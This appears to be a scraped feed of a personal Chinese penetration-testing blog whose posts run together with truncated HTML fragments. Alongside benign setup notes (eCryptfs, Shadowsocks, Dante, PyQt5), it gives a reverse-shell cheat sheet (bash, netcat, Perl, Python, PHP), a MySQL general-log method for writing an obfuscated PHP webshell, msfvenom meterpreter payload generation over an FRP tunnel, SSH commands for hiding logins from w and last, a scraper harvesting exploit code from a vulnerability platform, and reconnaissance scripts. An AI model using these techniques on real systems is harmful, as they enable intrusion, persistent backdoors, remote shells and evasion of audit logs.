0o0o0丶Blog 0o0o0o0o0o0o0o0o0o0 2018-10-17T02:54:24.888Z https://10o0.github.io/ 0o0 Hexo Bugcloud-POC https://10o0.github.io/2018/10/17/Bugcloud-POC/ 2018-10-17T02:54:22.000Z 2018-10-17T02:54:24.888Z Bugcloud-POC

[] [centos_shell]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Created on Sat Apr 28 15:52:59 2018
@author: root
"""
import requests
import time
import datetime
import os
import re
import random
headers = {
    'accept': 'application/json, text/plain, */*',
    'Host': '192.168.****',
    'Referer': 'http://192.168.****/',
    'cookie': '****',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0',
}
def get_page(url):
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
    except requests.ConnectionError as e:
        print('Error', e.args)
def mkdir(path):
    import os
    # 去除首位空格
    path = path.strip()
    # 去除尾部 \ 符号
    path = path.rstrip("\\")
    # 判断路径是否存在
    # 存在     True
    # 不存在   False
    isExists = os.path.exists(path)
    # 判断结果
    if not isExists:
        os.makedirs(path)
        print("OK")
        return True
    else:
        print("False")
        return False
def validateTitle(title):
    rstr = r"[\/\\\:\*\?\"\<\>\|]"  # '/ \ : * ? " < > |'
    new_title = re.sub(rstr, "_", title)  # 替换为下划线
    return new_title
def savefile(atype,aname,bugname,bugcode):
    file = os.path.join(atype,aname)
    mkdir(file)
    file = file + '\\'
    print(file)
    with open(file + bugname, 'a+') as f:
        f.write(bugcode)
if __name__ == '__main__':
    page = 0
    while (1):
        page = page + 1
        url = "http://192.168.****/cloud/pluginvuln/?page=" + str(page)
        print(url)
        time.sleep(random.randint(1,10))
        json_dict = get_page(url)
#        print(json_dict)
        items = json_dict['results']
        for item in items:
            title = item['plugin']['title']
            code = item['plugin']['source_code']
            type = item['vtype']
            appname = item['fp_app_name']
            newtitle = validateTitle(title)
            try:
                savefile(str(type),str(appname),str(newtitle),code)
            except Exception as e:
                cotent = str(type) + str(appname) + str(newtitle)
                with open("error.txt", 'a+') as f:
                    f.write(cotent)
                continue
            print(title,type,appname)
]]> <p>Bugcloud-POC</p> <figure class="highlight python"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><p xiaoxiaofuli https://10o0.github.io/2018/10/17/xiaoxiaofulli/ 2018-10-17T02:33:20.000Z 2018-10-17T02:38:07.708Z APK–API
[] [centos_shell]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Created on Sat Apr 28 15:52:59 2018
@author: root
"""
import requests
import time
import datetime
import re
import random
headers = {
    'Accept-Language': 'zh-CN,zh;q=0.8',
    'Host': 'www.js.baidu.com.ylgsrnzxlxpyb9cenfdfef6g.com',
    'Accept-Encoding': 'gzip',
    'cookie': '__cfduid=dbc9ff34639e222aa9cc0eb395de4d41b1539066777',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0',
}
def get_page(url):
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
    except requests.ConnectionError as e:
        print('Error', e.args)
        
if __name__ == '__main__':
    page = 0
    while (1):
        url = "http://www.js.baidu.com.ylgsrnzxlxpyb9cenfdfef6g.com/api/public/?service=Video.getNearby&uid=-1&lng=0.0&lat=0.0&p=" + str(page)
#        print(url)
        time.sleep(random.randint(1,10))
        json_dict = get_page(url)
        print(page)
        page = page + 1       
#        print(json_dict)
        items = json_dict['data']['info']
        for item in items:
            uid = item['uid']
            href = item['href']
            with open("urlaaaaa.txt", 'a+') as f:
                f.write(href)
            continue

]]> <p>APK–API<br><figure class="highlight python"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><sp SSH login history Hide https://10o0.github.io/2018/09/07/ssh_login_hide/ 2018-09-07T09:08:30.000Z 2018-09-07T09:24:08.759Z

w和last命令内不显示登录痕迹

ssh -lroot 127.0.0.1 /usr/bin/bash  #登录之后直接调用bashssh -lroot 127.0.0.1 /usr/bin/ls   #登录之后直接调用命令ssh -T root@127.0.0.1 /usr/bin/bash -i  # -T表示不分配伪终端 -i表示是交互式shell

查找登录痕迹

lsof -i:22 | grep ESTps -ef | grep ssh

历史痕迹：

/var/log/secure/var/log/auth.log
]]> <blockquote> <p>w和last命令内不显示登录痕迹</p> </blockquote> <pre><code>ssh -lroot 127.0.0.1 /usr/bin/bash #登录之后直接调用bash ssh -lroot 127.0.0.1 /usr/b 互联网资产搜集思路<更新中...> https://10o0.github.io/2018/09/04/互联网资产搜集思路/ 2018-09-04T06:39:24.000Z 2018-09-04T09:01:35.160Z 给定域名、部分IP：

整理成C段IP，

[] [centos_shell]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python
# -*- coding:utf-8 -*-
#exp:192.168.1.1  >>>  192.168.1.0/24
import re
 
# def cleanCLRFspace(content):
# noCLContext = content.replace('\n','')
# noSpaceCLRFcontext = noCLContext.strip()
# return noSpaceCLRFcontext
 
def readFile():
ipf = open('./content.txt','r')
return ipf
 
def getLineIP(ipf):
ipList = set()
texts = ipf.readlines()
for text in texts:
ips = re.findall(r'\d+\.\d+?\.\d+?\.\d+?',text)
for ip in ips:
ipList.add(ip)
return ipList
 
 
def ip2c(ipNoDup):
ipset = set()
for ip in ipNoDup:
ipset.add(re.findall(r'\d+?\.\d+?\.\d+?\.',ip)[0] + '0/24')
iplist = list(ipset)
iplist.sort()
return iplist
 
 
 
def saveContext(s):
wfile = open('./result.txt','w')
for i in s:
wfile.write(i+'\n')
wfile.close()
 
if __name__ == '__main__':
ipf = readFile()
ipList = getLineIP(ipf)
iplist = ip2c(ipList)
saveContext(iplist)
[] [centos_shell]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#!/bin/bash
#使用方法：./*.sh Cip.txt
#备注：192.168.1.0/24  >>> 192.168.1.0-192.168.1.254  范围IP
while read IPRANGE
do
    IP_FILE_NAME=$(echo $IPRANGE | cut -d/ -f1)
    IP_1="$(echo $IPRANGE | cut -d"." -f1-2)."
    IP_3="$(echo $IPRANGE | cut -d"." -f3)"
    MAX_IP_3="$(sipcalc $IPRANGE | awk -F. '/Usable range/{print $6}')"
    for i in $(seq $IP_3 $MAX_IP_3)
    do
        for j in $(seq 1 254)
            do
                echo "${IP_1}${i}.${j}" >>results.txt
            done
    done
done < $1

一步到位：

[] [centos_shell]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226

#!/bin/bash
#Desc:根据起始IP和结束IP输出IP信息
#Usage:./iprange.sh IP.txt
#notepad++去重：  ^(.*?)$\s+?^(?=.*^\1$)   操作方法如下，快捷键Ctrl+H，在弹出的界面输入表达式，并勾选匹配新行。
#换行处理否则报错    /r/n     /r   全部替换为 /n

while read line0
do
#echo $line1
awk -F $line1  "-" '{print $1,$2}' | while read IPA IPB
do
 
IPA1=`echo $IPA | awk -F '.' '{print $1}'`          
IPA2=`echo $IPA | awk -F '.' '{print $2}'`          
IPA3=`echo $IPA | awk -F '.' '{print $3}'`          
IPA4=`echo $IPA | awk -F '.' '{print $4}'`          
  
IPB1=`echo $IPB | awk -F '.' '{print $1}'`          
IPB2=`echo $IPB | awk -F '.' '{print $2}'`          
IPB3=`echo $IPB | awk -F '.' '{print $3}'`          
IPB4=`echo $IPB | awk -F '.' '{print $4}'`          

IP4_not_equal(){
for i in `eval echo {$IPA4..$IPB4}`
do
echo $IPA1.$IPA2.$IPA3.$i
done
}
 
 
 
IP3_not_equal () {
for i in  `eval echo {$IPA3..$IPB3}`
do
if [[ $i = $IPA3 ]]
then
eval echo   "192.168.$i.{$IPA4..255}" |xargs -n 1
elif [[ $i = $IPB3 ]]
then
eval echo   "192.168.$i.{1..$IPB4}" |xargs -n 1
else
eval echo  "192.168.$i.{1..255}" | xargs -n 1
fi
done
}
 
 
IP2_not_equal(){
#第二段的变化范围
for n in `eval echo {$IPA2..$IPB2}`
do
#如果第二段与IPA的第二段相同
if [ $n = $IPA2 ] 
then  
#第三段的变化范围为IPA3到255 
for m in `eval echo {$IPA3..255}`
do
#如果第三段与IPA的第三段相同
if [[ $m = $IPA3 ]]
then
eval echo "$IPA1.$IPA2.$IPA3.{$IPA4..255}" | xargs -n 1
else
eval echo "$IPA1.$IPA2.$m.{1..255}" | xargs -n 1
fi
done
#如果第三段与IPB的第三段相同
elif [ $n = $IPB2 ]
then
#第三段变化范围为0到IPB3
for x in `eval echo {0..$IPB3}` 
do
#如果第三段与IPB的第三段相同
if [ $x = $IPB3  ]
then
eval echo "$IPB1.$IPB2.$IPB3.{0..$IPB4}" |xargs -n 1
else
eval echo "$IPB1.$IPB2.$x.{0..255}" |xargs -n 1
fi
done
#如果第二段与IPA和IPB的均不相同
else  
#第三段变化范围
for y in {0..255}
do 
echo $IPA1.$n.$y.{0..255} |xargs -n 1
done
fi
done 
}
 
#定义pass函数，啥事都不做
pass(){
echo "">/dev/null
}
 
 
IP1_not_equal(){
#IP第一段的范围
for d1 in `eval echo {$IPA1..$IPB1}`
do
#<1>如果第一段与IPA1相同
if [[ $d1 = $IPA1 ]]
then
#第二段IP范围为IPA2到255
for d2 in `eval echo {$IPA2..255}`
do
   #<1.1>如果第二段与IPA2相同
   if [[ $d2 = $IPA2 ]]
   then
   #第三段IP范围为IPA3到255
   for d3 in `eval echo {$IPA3..255}`
   do
   #<1.1.1>如果第三段IP与IPA3相同
   if [[ $d3 = $IPA3  ]]
   then
   for d4 in `eval echo {$IPA4..255}`
   do
   echo $d1.$d2.$d3.$d4
   done
   #<1.1.2>如果第三段IP与IP3不同
   else
   for d4 in {0..255}
   do
   echo $d1.$d2.$d3.$d4
   done
   fi
   done
   #<1.2>如果第二段与IPA2不同
   else
   for d3 in {0..255}
   do
   for d4 in {0..255}
   do
   echo $d1.$d2.$d3.$d4
   done
   done
   fi  
done
#<2>如果第一段IP与IPB相同
elif [[ $d1 = $IPB1 ]]
then
#第二段IP的范围为0到IPB2
for d2 in `eval echo {0..$IPB2}`
do
#<2.1>如果第二段IP与IPB相同
if [[ $d2 = $IPB2 ]]
then
#第三段IP范围为0到IPB3
for d3 in `eval echo {0..$IPB3}`
do
#<2.1.1>如果第三段IP与IPB3相同
if [[ $d3 = $IPB3 ]]
then
for d4 in `eval echo {0..$IPB4}`
do
echo $d1.$d2.$d3.$d4
done
#<2.1.2>如果第三段IP与IPB3不同
else
for d4 in {0..255}
do
echo $d1.$d2.$d3.$d4
done
fi
done
#<2.2>如果第二段IP与IPB不相同
else
   #第三段IP范围为{0..255}
   for d3 in {0..255}
   do
   #第四段IP范围为{0.255}
   for d4 in {0.255}
   do
   echo $d1.$d2.$d3.$d4
   done
   done
fi
done     
#<3>第一段IP与IPA1和IPB1都不相同
else
for d2 in {0..255}
do
for d3 in {0..255}
do 
for d4 in {0..255}
do
echo $d1.$d2.$d3.$d4
done
done
done
fi   
done    
}
 
 
print_range_ip(){ 
#<1>如果两IP第一段不同
if [ $IPA1 != $IPB1 ]
then
IP1_not_equal 
#<2>如果两IP第一段相同
else
#<2.1> 如果第二段IP相同
if [ $IPA2 = $IPB2 ]
then
#<2.1.1>如果第三段IP不相同
if [[ $IPA3 != $IPB3 ]]
then
IP3_not_equal 
#<2.2.2>如果第三段IP相同
else
IP4_not_equal
fi

#<2.2> 如果第二段IP不相同
else
IP2_not_equal

fi
fi
}
print_range_ip >> allssip.txt
done
done < $1

IP整理完通过工具扫描

爆破子域名
通过已给url确定一级域名列表：

[] [centos_shell]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#exp:  python *.py  url.txt
#shell去重命令：awk '!a[$0]++' results.txt
import sys
import shutil
import dns.name
from tld import get_tld
from tld.utils import update_tld_names

#def getdomain(url):

#    domain = dns.name.from_text(url).split(3)[1].to_text(omit_final_dot=True)
#    return(domain)

#def getd(url):

#    update_tld_names()
#    return(get_tld(url))

def getdomain(domain):
    DomainSuffix = {'info': None, 'coop': None, 'mil': None, 
'int': None, 'xxx': None, 'pro': None, 'aero': None, 'idv': None, 
'biz': None, 'edu': None, 'org': None, 'net': None, 'gov': None, 
'com': None, 'museum': None, 'name': None}
    Result = []
    domain = domain[0:domain.rfind(':')] #去除端口号// url链接不能加http://
    if domain.count('.') == 1:
    return domain
    PointSplitResult = domain.split('.')
    if len(filter(lambda x: not x.isdigit(), PointSplitResult)) == 0:
    return domain 
    if DomainSuffix.has_key(PointSplitResult[-1].lower()):
    Result = PointSplitResult[-2:]
        return '.'.join(Result)
    else:
        if DomainSuffix.has_key(PointSplitResult[-2].lower()):
            Result = PointSplitResult[-3:]
            return '.'.join(Result)
        else:
            Result = PointSplitResult[-2:]
            return '.'.join(Result)


if __name__ == '__main__':
    file = open(sys.argv[1],'r')
    for line in file.readlines():
        line=line.strip('\n')
#        line = line if '://' in line else 'http://' + line
#        print line
        try:
            print getdomain(line)
        except Exception as e:
            print line+">>>>>>>>>"

[] [centos_shell]
1
2
3
4
5
6
7
8
9
#!/bin/bash
#usage:>.sh domain.txt

while read line1
do
#echo $line1
python subDomainsBrute.py -i $line1 --full -o $line1
done < $1

[] [centos_shell]
1
2
3
4
5
6
@echo off&setlocal enabledelayedexpansion
for /f "delims=" %%i in (domain.txt) do set "website=%%i"&call :s !website!
pause
:s
python subDomainsBrute.py -i %1 --full -o %1
goto :eof
]]> <p>给定域名、部分IP：</p> <p>整理成C段IP，</p> <figure class="highlight python"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="comment">#exp:192.168.1.1 &gt;&gt;&gt; 192.168.1.0/24</span></span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"> </span><br><span class="line"><span class="comment"># def cleanCLRFspace(content):</span></span><br><span class="line"><span class="comment"># noCLContext = content.replace('\n','')</span></span><br><span class="line"><span class="comment"># noSpaceCLRFcontext = noCLContext.strip()</span></span><br><span class="line"><span class="comment"># return noSpaceCLRFcontext</span></span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">readFile</span><span class="params">()</span>:</span></span><br><span class="line"> ipf = open(<span class="string">'./content.txt'</span>,<span class="string">'r'</span>)</span><br><span class="line"> <span class="keyword">return</span> ipf</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getLineIP</span><span class="params">(ipf)</span>:</span></span><br><span class="line"> ipList = set()</span><br><span class="line"> texts = ipf.readlines()</span><br><span class="line"> <span class="keyword">for</span> text <span class="keyword">in</span> texts:</span><br><span class="line"> ips = re.findall(<span class="string">r'\d+\.\d+?\.\d+?\.\d+?'</span>,text)</span><br><span class="line"> <span class="keyword">for</span> ip <span class="keyword">in</span> ips:</span><br><span class="line"> ipList.add(ip)</span><br><span class="line"> <span class="keyword">return</span> ipList</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ip2c</span><span class="params">(ipNoDup)</span>:</span></span><br><span class="line"> ipset = set()</span><br><span class="line"> <span class="keyword">for</span> ip <span class="keyword">in</span> ipNoDup:</span><br><span class="line"> ipset.add(re.findall(<span class="string">r'\d+?\.\d+?\.\d+?\.'</span>,ip)[<span class="number">0</span>] + <span class="string">'0/24'</span>)</span><br><span class="line"> iplist = list(ipset)</span><br><span class="line"> iplist.sort()</span><br><span class="line"> <span class="keyword">return</span> iplist</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">saveContext</span><span class="params">(s)</span>:</span></span><br><span class="line"> wfile = open(<span class="string">'./result.txt'</span>,<span class="string">'w'</span>)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> s:</span><br><span class="line"> wfile.write(i+<span class="string">'\n'</span>)</span><br><span class="line"> wfile.close()</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> ipf = readFile()</span><br><span class="line"> ipList = getLineIP(ipf)</span><br><span class="line"> iplist = ip2c(ipList)</span><br><span class="line"> saveContext(iplist)</span><br></pre></td></tr></table></figure> recording https://10o0.github.io/2018/08/17/recording/ 2018-08-17T01:43:14.000Z 2018-08-17T01:45:41.120Z https://media.defcon.org/

last:https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/

]]> <p><a href="https://media.defcon.org/" target="_blank" rel="noopener">https://media.defcon.org/</a></p> <p>last:<a href="https://media.defco Ziroom--Monitor https://10o0.github.io/2018/08/13/ziroom/ 2018-08-13T05:53:40.000Z 2018-08-13T06:45:48.735Z
[] [centos_shell]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Created on Sat Apr 28 15:52:59 2018
@author: root
"""
import requests
import itchat
import time
import datetime
#itchat.auto_login()
itchat.auto_login(hotReload=True)
itchat.auto_login(enableCmdQR=-1)
#from urllib import request
url = "http://phoenix.ziroom.com/v7/room/detail.json?house_id=62947781&city_code=110000&id=61544148"
headers = {
    'accept': 'application/json;version=3',
    'Host': 'phoenix.ziroom.com',
    'Referer': 'https://hd.ziroom.com/2018/haiyan/index.html?citycode=110000',
#    'token': 'd76a826e-bfb4-4421-902e-132418ebedfa',
    'User-Agent': 'okhttp/3.10.0',
}
def get_page(url):
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
    except requests.ConnectionError as e:
        print('Error', e.args)



if __name__ == '__main__':
    n = 0
    while (1):
        n = n+1
        json_dict = get_page(url)
#        print(json_dict)
        statuss = json_dict['data']['status']
        nowTime=datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        print("status:",statuss)
        if statuss == 'zxpzz':
            print("NOt Time!!!")
            itchat.send('<'+str(n)+'>'+'骚年~装修配置中>>>'+nowTime, toUserName='filehelper')
            time.sleep(360)
        else:
            print("GOGOGOOGOOO!!!!!")
            itchat.send('<'+str(n)+'>'+'0o0o0o0~可以预定了--gogogogo>>>'+nowTime, toUserName='filehelper')
            time.sleep(120)
]]> <figure class="highlight python"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line 【应急响应】自动化脚本 https://10o0.github.io/2018/06/27/【应急响应】自动化脚本/ 2018-06-27T08:05:15.000Z 2018-07-26T07:38:15.240Z

Welcome to my blog, enter password to read.

]]> Welcome to my blog, enter password to read. MySQL's general-log shell https://10o0.github.io/2018/06/04/MySQL's general-log shell/ 2018-06-04T02:52:12.000Z 2018-07-26T07:38:15.240Z

MySQL ROOT:

show variables like '%general%';set global general_log='on';SET global general_log_file='D:/phpStudy/WWW/cmd.php';SELECT '<?php assert($_POST["cmd"]);?>';SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['cmd']));?>";set global general_log = off;
]]> <blockquote> <p>MySQL ROOT:</p> </blockquote> <pre><code>show variables like &apos;%general%&apos;; set global general_log=&apos;on&apos;; S Frp结合VPS打造外网Meatsploit https://10o0.github.io/2018/04/19/Frp＋VPS打造外网Meatsploit/ 2018-04-19T03:04:54.000Z 2018-07-26T07:38:15.240Z
  • 前言：

本来一开始是在Vps上直接安装的MSF,想安装的可以试试，附一键脚本：

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstallchmod 755 msfinstall && ./msfinstall

可以用，但是总是时不时崩溃（可能是配置太低），烦的一pi.
然后就去Google找到了ngrok的端口转发教程。试了下，可以用，不过用起来反应很慢，时不时还掉线，尼玛啊，最坑的是有的平台（VIP是不可能开的，这辈子都不可能）不能固定外网端口，启动一次客户端就换一个端口，每次都要改Payload，费劲。
然后试了下用Frp来转发，相比起来简直不要太爽。

1. 准备工作：

VPS一台
FRP ##下载地址：https://github.com/fatedier/frp/releases（根据自己的VPS选择对应的版本）

２.安装步骤：
在VPS上执行（我的是Centos x64）：

wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz ##下载frptar -zxvf frp_0.16.1_linux_amd64.tar.gz ##解压 cd frp_0.16.1_linux_amd64rm frpc&&rm frpc.ini  ##这个是客户端文件，用不上，删不删随意。./frps -c frps.ini　　##默认配置文件启动服务端。

在自己电脑执行（我的是KALi x64）:

wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz ##下载frptar -zxvf frp_0.16.1_linux_amd64.tar.gz ##解压 cd frp_0.16.1_linux_amd64rm frps&&rm frps.ini  ##这个是服务端文件，用不上，删不删随意。./frpc -c frpc.ini　　##使用配置文件启动客户端。

注意frpc.ini配置文件内容（详细参考）：

[common]server_addr = *.*.*.*  ##VPS的IP地址server_port = 7000[msf]type = tcp　　　　　##协议local_ip = *.*.*.*  ##本地内网主机IP。local_port = 4444　 ##本地MSF监听的端口remote_port = 8011  ##Payload设置的LPORT端口,LHOST为VPS的IP。

Payload生成实例：

$ msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=VPS的IP lport=8011 -f exe -o payload.exe

MSf监听示例：

Module options (exploit/multi/handler):   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------Payload options (windows/x64/meterpreter_reverse_tcp):   Name        Current Setting  Required  Description   ----        ---------------  --------  -----------   EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)   EXTENSIONS                   no        Comma-separate list of extensions to load   EXTINIT                      no        Initialization strings for extensions   LHOST       172.16.1.254     yes       The listen address   LPORT       4444             yes       The listen port

附一张截图：

结束语：
当然frp不止tcp端口转发这一种用法，还可以做socks5,http代理等，其他的自行查看说明文档。

]]> <hr> <ul> <li><strong>前言：</strong></li> </ul> <p>本来一开始是在Vps上直接安装的MSF,想安装的可以试试，附一键脚本：</p> <pre><code>curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &gt; msfinstall chmod 755 msfinstall &amp;&amp; ./msfinstall </code></pre> How to encrypt files and folders with eCryptfs in Ubuntu/Debian/kali linux https://10o0.github.io/2018/03/27/encrypt in linux/ 2018-03-27T04:36:32.000Z 2018-07-26T07:38:15.240Z apt-get install ecryptfs-utilsmodprobe ecryptfs #Load the ecryptfs kernel driverecryptfs-setup-private ##defaultecryptfs-umount-private # to unmountecryptfs-mount-private # to mount it again,Switch to another directory except home#######ecryptfs-setup-private --noautoumount # avoid ecryptfs auto mount at login]]> <pre><code>apt-get install ecryptfs-utils modprobe ecryptfs #Load the ecryptfs kernel driver ecryptfs-setup-private ##default ecryptfs-u Reverse Shell Cheat Sheet https://10o0.github.io/2018/03/20/Reverse Shell Cheat Sheet/ 2018-03-20T06:56:16.000Z 2018-07-26T07:38:15.240Z

set a listener:

nc -nvlp 443

Bash:

bash -i >& /dev/tcp/192.168.1.11/443 0>&1

Netcat

nc -nv 192.168.1.11 443 -e /bin/bash ##linuxnc.exe -nv 192.168.1.11 443 -e cmd   ##windows

Perl

perl -e 'use Socket;$i="192.168.1.11";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S ,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(" /bin/bash -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("192.168.1.11",443);exec("/bin/sh -i <&3 >&3 2>&3");'
]]> <blockquote> <p>set a listener:</p> </blockquote> <pre><code>nc -nvlp 443 </code></pre><blockquote> <p>Bash:</p> </blockquote> <pre><code>ba Python PyQt5 https://10o0.github.io/2018/03/07/Python实用/ 2018-03-07T03:28:47.000Z 2018-07-26T07:38:15.240Z 使用Python3，PyQt5实现简易浏览器
from PyQt5.QtWidgets import QApplicationfrom PyQt5.QtWebEngineWidgets import QWebEngineViewfrom PyQt5.QtCore import QUrlapp = QApplication([])view = QWebEngineView()view.load(QUrl("https://translate.google.cn"))view.show()app.exec_()
]]> <h1 id="使用Python3，PyQt5实现简易浏览器"><a href="#使用Python3，PyQt5实现简易浏览器" class="headerlink" title="使用Python3，PyQt5实现简易浏览器"></a>使用Python3，PyQt5实现简易浏览器</h1><pre><code>from PyQt5.QtWidgets import QApplication from PyQt5.QtWebEngineWidgets import QWebEngineView from PyQt5.QtCore import QUrl app = QApplication([]) view = QWebEngineView() view.load(QUrl(&quot;https://translate.google.cn&quot;)) view.show() app.exec_() </code></pre><hr> How to setup a socks5 proxy server using Dante https://10o0.github.io/2018/01/22/How-to-setup-a-socks5-proxy-server-using-Dante/ 2018-01-22T02:26:52.000Z 2018-07-26T07:38:15.240Z debain可用参考链接：https://nfalcone.net/blog/danted-socks-proxy-server/

> 其他：

socks5软件包安装:

# apt-get update && apt-get upgrade# apt-get install dante-server# service danted restart# service danted status# danted -vdanted: dante v1.1.19

socks5源码安装：

# cd /usr/src# wget http://www.inet.no/dante/files/dante-1.4.2.tar.gz# tar -zxf dante-1.4.2.tar.gz# cd dante-1.4.2/# apt-get install gcc make#./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var --disable-client --without-libwrap --without-bsdauth --without-gssapi --without-krb5 --without-upnp --without-pam# make && make install# /usr/sbin/sockd -vDante v1.4.2.  Copyright (c) 1997 - 2014 Inferno Nettverk A/S, Norway

Configuring Dante-server service script

# vim /etc/init.d/sockd

参考链接：

https://www.proxyrack.com/how-to-setup-a-socks5-proxy-server-using-dante/

debain可能遇到的问题：

perl: warning: Falling back to the standard locale (“C”)

root@host:~#locale-gen en_GB.UTF-8root@host:~#localectl set-locale LANG=en_GB.UTF-8,LC_ALL=en_GB.UTF-8

参考：https://konradpodgorski.com/blog/2014/06/23/fixing-locale-problem-debian/

debain VPs 安装失败：仅作记录

]]> <pre><code>debain可用参考链接： https://nfalcone.net/blog/danted-socks-proxy-server/ </code></pre> SS安装脚本 https://10o0.github.io/2018/01/22/SS安装脚本/ 2018-01-22T02:01:21.000Z 2018-07-26T07:38:15.240Z 一键安装：
wget --no-check-certificate https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-all.shchmod +x shadowsocks-all.sh./shadowsocks-all.sh 2>&1 | tee shadowsocks-all.log

多用户配置文件：vim /etc/shadowsocks-go/config.json

{    "server":"0.0.0.0",    "port_password":{         "8989":"password0",         "9001":"password1",         "9002":"password2",         "9003":"password3",         "9004":"password4"    },    "method":"aes-256-cfb",    "timeout":600}

